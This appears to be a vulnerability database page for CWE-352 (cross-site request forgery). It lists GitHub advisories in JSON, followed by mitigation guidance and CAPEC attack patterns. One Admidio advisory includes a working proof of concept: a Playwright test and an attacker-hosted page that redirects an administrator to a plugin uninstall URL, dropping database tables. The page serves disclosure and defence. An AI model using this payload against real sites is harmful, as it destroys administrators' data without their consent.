CWE-352
AllowedCross-Site Request Forgery (CSRF)
Abstraction: Compound · Status: Stable
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
14231 vulnerabilities reference this CWE, most recent first.
GHSA-HJXC-5VCP-9RMF
Vulnerability from github – Published: 2024-12-16 15:31 – Updated: 2026-04-01 18:32Cross-Site Request Forgery (CSRF) vulnerability in Antonio Gocaj Go Animate allows Stored XSS.This issue affects Go Animate: from n/a through 1.0.
{
"affected": [],
"aliases": [
"CVE-2024-54397"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-16T15:15:14Z",
"severity": "HIGH"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in Antonio Gocaj Go Animate allows Stored XSS.This issue affects Go Animate: from n/a through 1.0.",
"id": "GHSA-hjxc-5vcp-9rmf",
"modified": "2026-04-01T18:32:50Z",
"published": "2024-12-16T15:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54397"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/goanimate/vulnerability/wordpress-go-animate-plugin-1-0-csrf-to-stored-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-HJXC-CJ85-6RVH
Vulnerability from github – Published: 2025-05-15 21:31 – Updated: 2025-05-20 21:30The Offload Videos WordPress plugin before 1.0.1 does not have CSRF check in place when updating its settings, which could allow low privilege users to update them via a CSRF attack
{
"affected": [],
"aliases": [
"CVE-2024-6719"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-15T20:15:56Z",
"severity": "HIGH"
},
"details": "The Offload Videos WordPress plugin before 1.0.1 does not have CSRF check in place when updating its settings, which could allow low privilege users to update them via a CSRF attack",
"id": "GHSA-hjxc-cj85-6rvh",
"modified": "2025-05-20T21:30:39Z",
"published": "2025-05-15T21:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6719"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/1dc7caac-a36e-4313-a8be-c6b13e564924"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HM36-7W24-6G7W
Vulnerability from github – Published: 2022-05-17 02:25 – Updated: 2022-05-17 02:25A vulnerability in Cisco WebEx Meetings Server could allow an unauthenticated, remote attacker to conduct a cross-site request forgery (CSRF) attack against an administrative user. More Information: CSCuz03317. Known Affected Releases: 2.6. Known Fixed Releases: 2.7.1.12.
{
"affected": [],
"aliases": [
"CVE-2017-3794"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-01-26T07:59:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in Cisco WebEx Meetings Server could allow an unauthenticated, remote attacker to conduct a cross-site request forgery (CSRF) attack against an administrative user. More Information: CSCuz03317. Known Affected Releases: 2.6. Known Fixed Releases: 2.7.1.12.",
"id": "GHSA-hm36-7w24-6g7w",
"modified": "2022-05-17T02:25:51Z",
"published": "2022-05-17T02:25:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-3794"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170118-wms"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/95635"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1037649"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HM3X-QQP4-VG9X
Vulnerability from github – Published: 2022-03-12 00:00 – Updated: 2025-05-07 15:31Cross-Site Request Forgery (CSRF) vulnerability affecting Delete Marker Category, Delete Map, and Copy Map functions in WP Google Map plugin (versions <= 4.2.3).
{
"affected": [],
"aliases": [
"CVE-2022-25600"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-11T18:15:00Z",
"severity": "HIGH"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability affecting Delete Marker Category, Delete Map, and Copy Map functions in WP Google Map plugin (versions \u003c= 4.2.3).",
"id": "GHSA-hm3x-qqp4-vg9x",
"modified": "2025-05-07T15:31:13Z",
"published": "2022-03-12T00:00:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25600"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7CR6VGITIB2TXXZ6B5QRRWPU5S4BXQPD"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/IJX6NVXSRN3RX3YUVEJQ4WUTQSDL3DSR"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/PZQCIZQI267YHVYSFB3CRKNK3F4ASPLK"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/7CR6VGITIB2TXXZ6B5QRRWPU5S4BXQPD"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IJX6NVXSRN3RX3YUVEJQ4WUTQSDL3DSR"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PZQCIZQI267YHVYSFB3CRKNK3F4ASPLK"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/wp-google-map-plugin/wordpress-wp-google-map-plugin-4-2-3-cross-site-request-forgery-csrf-vulnerability"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/wp-google-map-plugin/#developers"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HM42-Q32M-VJ4F
Vulnerability from github – Published: 2026-07-09 13:44 – Updated: 2026-07-09 13:44Summary
The modules/plugins.php endpoint handles plugin installation, uninstallation, and update operations via GET requests without CSRF token validation. Because these are top-level navigations, browsers include SameSite=Lax session cookies. An attacker crafts a malicious page that, when an authenticated administrator visits it, triggers arbitrary plugin operations. The uninstall operation executes DROP TABLE SQL scripts and destroys plugin data.
Details
modules/plugins.php reads the mode (install, uninstall, update) and name parameters directly from $_GET:
// modules/plugins.php
$mode = admFuncVariableIsValid($_GET, 'mode', 'string');
$pluginName = admFuncVariableIsValid($_GET, 'name', 'string');
The file contains zero calls to SecurityUtils::validateCsrfToken(). Other administrative operations in the same codebase (such as the save mode in preferences) validate CSRF tokens correctly.
Because the operations use GET requests, modern browsers send SameSite=Lax cookies on top-level GET navigations (link clicks, redirects, window.location assignments). A cross-origin page triggers these operations by navigating the browser to the vulnerable URL.
The doUninstall() function is the most destructive path. It executes SQL scripts from the plugin's db_scripts/ directory, which contain DROP TABLE statements:
// modules/plugins.php - doUninstall()
function doUninstall($pluginFolder) {
// Reads and executes SQL from $pluginFolder/db_scripts/uninstall.sql
// Contains DROP TABLE statements
}
Proof of Concept
The following Playwright test demonstrates a cross-origin CSRF attack. An attacker hosts a page on a different origin that redirects an authenticated administrator's browser to the uninstall endpoint:
// playwright-csrf-poc.js
const { test, expect } = require('@playwright/test');
test('CSRF plugin uninstall via cross-origin redirect', async ({ browser }) => {
const context = await browser.newContext();
const page = await context.newPage();
// Step 1: Admin logs in to Admidio
await page.goto('https://admidio.example.com/adm_program/system/login.php');
await page.fill('#usr_login_name', 'admin');
await page.fill('#usr_password', 'password');
await page.click('#btn_login');
await page.waitForURL('**/overview.php');
// Step 2: Admin visits attacker-controlled page on different origin
// The attacker page contains:
// <script>window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';</script>
await page.goto('https://attacker.example.com/csrf.html');
// Step 3: Browser follows redirect with SameSite=Lax cookies
// The birthday plugin is uninstalled, its database tables dropped
await page.waitForURL('**/plugins.php*');
// Verify the plugin was uninstalled
await page.goto('https://admidio.example.com/adm_program/modules/plugins.php');
const content = await page.content();
expect(content).not.toContain('birthday');
});
Simplified attacker page (csrf.html hosted on attacker origin):
<html>
<body>
<script>
window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';
</script>
</body>
</html>
When an administrator visits this page, the browser navigates to the Admidio uninstall URL with full session cookies, and the server uninstalls the birthday plugin.
Impact
An unauthenticated attacker tricks an Admidio administrator into visiting a malicious web page (via phishing, forum post, or embedded content) that performs plugin operations without visible indication. The uninstall operation executes DROP TABLE statements, causing irreversible data loss. The install operation activates plugins with known vulnerabilities. The update operation disrupts plugin functionality. The victim only needs to visit a single page.
Recommended Fix
Switch plugin install, uninstall, and update operations from GET to POST requests. Add SecurityUtils::validateCsrfToken() checks to all state-changing operations in modules/plugins.php, consistent with the pattern used elsewhere in the codebase.
Found by aisafe.io
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "admidio/admidio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "5.0.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53760"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-09T13:44:40Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `modules/plugins.php` endpoint handles plugin installation, uninstallation, and update operations via GET requests without CSRF token validation. Because these are top-level navigations, browsers include `SameSite=Lax` session cookies. An attacker crafts a malicious page that, when an authenticated administrator visits it, triggers arbitrary plugin operations. The uninstall operation executes DROP TABLE SQL scripts and destroys plugin data.\n\n## Details\n\n`modules/plugins.php` reads the `mode` (install, uninstall, update) and `name` parameters directly from `$_GET`:\n\n```php\n// modules/plugins.php\n$mode = admFuncVariableIsValid($_GET, \u0027mode\u0027, \u0027string\u0027);\n$pluginName = admFuncVariableIsValid($_GET, \u0027name\u0027, \u0027string\u0027);\n```\n\nThe file contains zero calls to `SecurityUtils::validateCsrfToken()`. Other administrative operations in the same codebase (such as the `save` mode in preferences) validate CSRF tokens correctly.\n\nBecause the operations use GET requests, modern browsers send `SameSite=Lax` cookies on top-level GET navigations (link clicks, redirects, `window.location` assignments). A cross-origin page triggers these operations by navigating the browser to the vulnerable URL.\n\nThe `doUninstall()` function is the most destructive path. It executes SQL scripts from the plugin\u0027s `db_scripts/` directory, which contain `DROP TABLE` statements:\n\n```php\n// modules/plugins.php - doUninstall()\nfunction doUninstall($pluginFolder) {\n // Reads and executes SQL from $pluginFolder/db_scripts/uninstall.sql\n // Contains DROP TABLE statements\n}\n```\n\n## Proof of Concept\n\nThe following Playwright test demonstrates a cross-origin CSRF attack. An attacker hosts a page on a different origin that redirects an authenticated administrator\u0027s browser to the uninstall endpoint:\n\n```javascript\n// playwright-csrf-poc.js\nconst { test, expect } = require(\u0027@playwright/test\u0027);\n\ntest(\u0027CSRF plugin uninstall via cross-origin redirect\u0027, async ({ browser }) =\u003e {\n const context = await browser.newContext();\n const page = await context.newPage();\n\n // Step 1: Admin logs in to Admidio\n await page.goto(\u0027https://admidio.example.com/adm_program/system/login.php\u0027);\n await page.fill(\u0027#usr_login_name\u0027, \u0027admin\u0027);\n await page.fill(\u0027#usr_password\u0027, \u0027password\u0027);\n await page.click(\u0027#btn_login\u0027);\n await page.waitForURL(\u0027**/overview.php\u0027);\n\n // Step 2: Admin visits attacker-controlled page on different origin\n // The attacker page contains:\n // \u003cscript\u003ewindow.location = \u0027https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall\u0026name=birthday\u0027;\u003c/script\u003e\n await page.goto(\u0027https://attacker.example.com/csrf.html\u0027);\n\n // Step 3: Browser follows redirect with SameSite=Lax cookies\n // The birthday plugin is uninstalled, its database tables dropped\n await page.waitForURL(\u0027**/plugins.php*\u0027);\n\n // Verify the plugin was uninstalled\n await page.goto(\u0027https://admidio.example.com/adm_program/modules/plugins.php\u0027);\n const content = await page.content();\n expect(content).not.toContain(\u0027birthday\u0027);\n});\n```\n\nSimplified attacker page (`csrf.html` hosted on attacker origin):\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cscript\u003e\n window.location = \u0027https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall\u0026name=birthday\u0027;\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nWhen an administrator visits this page, the browser navigates to the Admidio uninstall URL with full session cookies, and the server uninstalls the birthday plugin.\n\n## Impact\n\nAn unauthenticated attacker tricks an Admidio administrator into visiting a malicious web page (via phishing, forum post, or embedded content) that performs plugin operations without visible indication. The `uninstall` operation executes DROP TABLE statements, causing irreversible data loss. The `install` operation activates plugins with known vulnerabilities. The `update` operation disrupts plugin functionality. The victim only needs to visit a single page.\n\n## Recommended Fix\n\nSwitch plugin install, uninstall, and update operations from GET to POST requests. Add `SecurityUtils::validateCsrfToken()` checks to all state-changing operations in `modules/plugins.php`, consistent with the pattern used elsewhere in the codebase.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-hm42-q32m-vj4f",
"modified": "2026-07-09T13:44:40Z",
"published": "2026-07-09T13:44:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-hm42-q32m-vj4f"
},
{
"type": "PACKAGE",
"url": "https://github.com/Admidio/admidio"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests"
}
GHSA-HM48-F7VP-C97R
Vulnerability from github – Published: 2025-04-17 18:31 – Updated: 2026-04-01 18:34Cross-Site Request Forgery (CSRF) vulnerability in gtlwpdev All push notification for WP allows Reflected XSS. This issue affects All push notification for WP: from n/a through 1.5.3.
{
"affected": [],
"aliases": [
"CVE-2025-32546"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-17T16:15:42Z",
"severity": "HIGH"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in gtlwpdev All push notification for WP allows Reflected XSS. This issue affects All push notification for WP: from n/a through 1.5.3.",
"id": "GHSA-hm48-f7vp-c97r",
"modified": "2026-04-01T18:34:49Z",
"published": "2025-04-17T18:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32546"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/all-push-notification/vulnerability/wordpress-all-push-notification-for-wp-plugin-1-5-3-csrf-to-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-HM63-G952-C4M6
Vulnerability from github – Published: 2024-05-02 18:30 – Updated: 2024-05-02 18:30The SVS Pricing Tables plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.4. This is due to missing or incorrect nonce validation on the deletePricingTable() function. This makes it possible for unauthenticated attackers to delete pricing tables via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
{
"affected": [],
"aliases": [
"CVE-2024-2960"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-02T17:15:20Z",
"severity": "MODERATE"
},
"details": "The SVS Pricing Tables plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.4. This is due to missing or incorrect nonce validation on the deletePricingTable() function. This makes it possible for unauthenticated attackers to delete pricing tables via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.",
"id": "GHSA-hm63-g952-c4m6",
"modified": "2024-05-02T18:30:53Z",
"published": "2024-05-02T18:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2960"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/svs-pricing-tables/trunk/app/model/svs_pt_model_main.php#L91"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e7a24213-5191-4b6d-a2d1-7b79729e6517?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HM63-RVP6-RVMJ
Vulnerability from github – Published: 2022-05-01 18:28 – Updated: 2025-04-09 03:46wp-admin/admin-functions.php in Wordpress before 2.2.3 and Wordpress multi-user (MU) before 1.2.5a does not properly verify the unfiltered_html privilege, which allows remote attackers to conduct cross-site scripting (XSS) attacks via modified data to (1) post.php or (2) page.php with a no_filter field.
{
"affected": [],
"aliases": [
"CVE-2007-4893"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-09-14T18:17:00Z",
"severity": "MODERATE"
},
"details": "wp-admin/admin-functions.php in Wordpress before 2.2.3 and Wordpress multi-user (MU) before 1.2.5a does not properly verify the unfiltered_html privilege, which allows remote attackers to conduct cross-site scripting (XSS) attacks via modified data to (1) post.php or (2) page.php with a no_filter field.",
"id": "GHSA-hm63-rvp6-rvmj",
"modified": "2025-04-09T03:46:12Z",
"published": "2022-05-01T18:28:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-4893"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=285831"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/36576"
},
{
"type": "WEB",
"url": "http://fedoranews.org/updates/FEDORA-2007-214.shtml"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/26771"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/26796"
},
{
"type": "WEB",
"url": "http://trac.wordpress.org/ticket/4720"
},
{
"type": "WEB",
"url": "http://wordpress.org/development/2007/09/wordpress-223"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/25639"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2007/3132"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HM64-99F5-Q8F6
Vulnerability from github – Published: 2022-05-01 18:37 – Updated: 2022-05-01 18:37Cross-site request forgery (CSRF) vulnerability in edit.php in the MS TopSites add-on for PHP-Nuke does not verify that the uname parameter matches the current account, which allows remote authenticated users to change arbitrary accounts or change the SiteTitleName field as an arbitrary user via a modified uname value in an edit action to modules.php.
{
"affected": [],
"aliases": [
"CVE-2007-5918"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-11-10T02:46:00Z",
"severity": "MODERATE"
},
"details": "Cross-site request forgery (CSRF) vulnerability in edit.php in the MS TopSites add-on for PHP-Nuke does not verify that the uname parameter matches the current account, which allows remote authenticated users to change arbitrary accounts or change the SiteTitleName field as an arbitrary user via a modified uname value in an edit action to modules.php.",
"id": "GHSA-hm64-99f5-q8f6",
"modified": "2022-05-01T18:37:50Z",
"published": "2022-05-01T18:37:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-5918"
},
{
"type": "WEB",
"url": "http://0x90.com.ar/Advisory/20071106.txt"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/483353/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/26358"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HM83-783G-38XV
Vulnerability from github – Published: 2024-04-15 09:30 – Updated: 2026-04-28 21:34Cross-Site Request Forgery (CSRF) vulnerability in Siteimprove.This issue affects Siteimprove: from n/a through 2.0.6.
{
"affected": [],
"aliases": [
"CVE-2024-32103"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-15T09:15:11Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in Siteimprove.This issue affects Siteimprove: from n/a through 2.0.6.",
"id": "GHSA-hm83-783g-38xv",
"modified": "2026-04-28T21:34:43Z",
"published": "2024-04-15T09:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32103"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/siteimprove/wordpress-siteimprove-plugin-2-0-6-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]
- Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
Mitigation
Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
Mitigation
Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
Mitigation
Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Mitigation
- Use the "double-submitted cookie" method as described by Felten and Zeller:
- When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
- Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
- This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
Mitigation
Do not use the GET method for any request that triggers a state change.
Mitigation
Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-462: Cross-Domain Search Timing
An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.
CAPEC-467: Cross Site Identification
An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing).
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.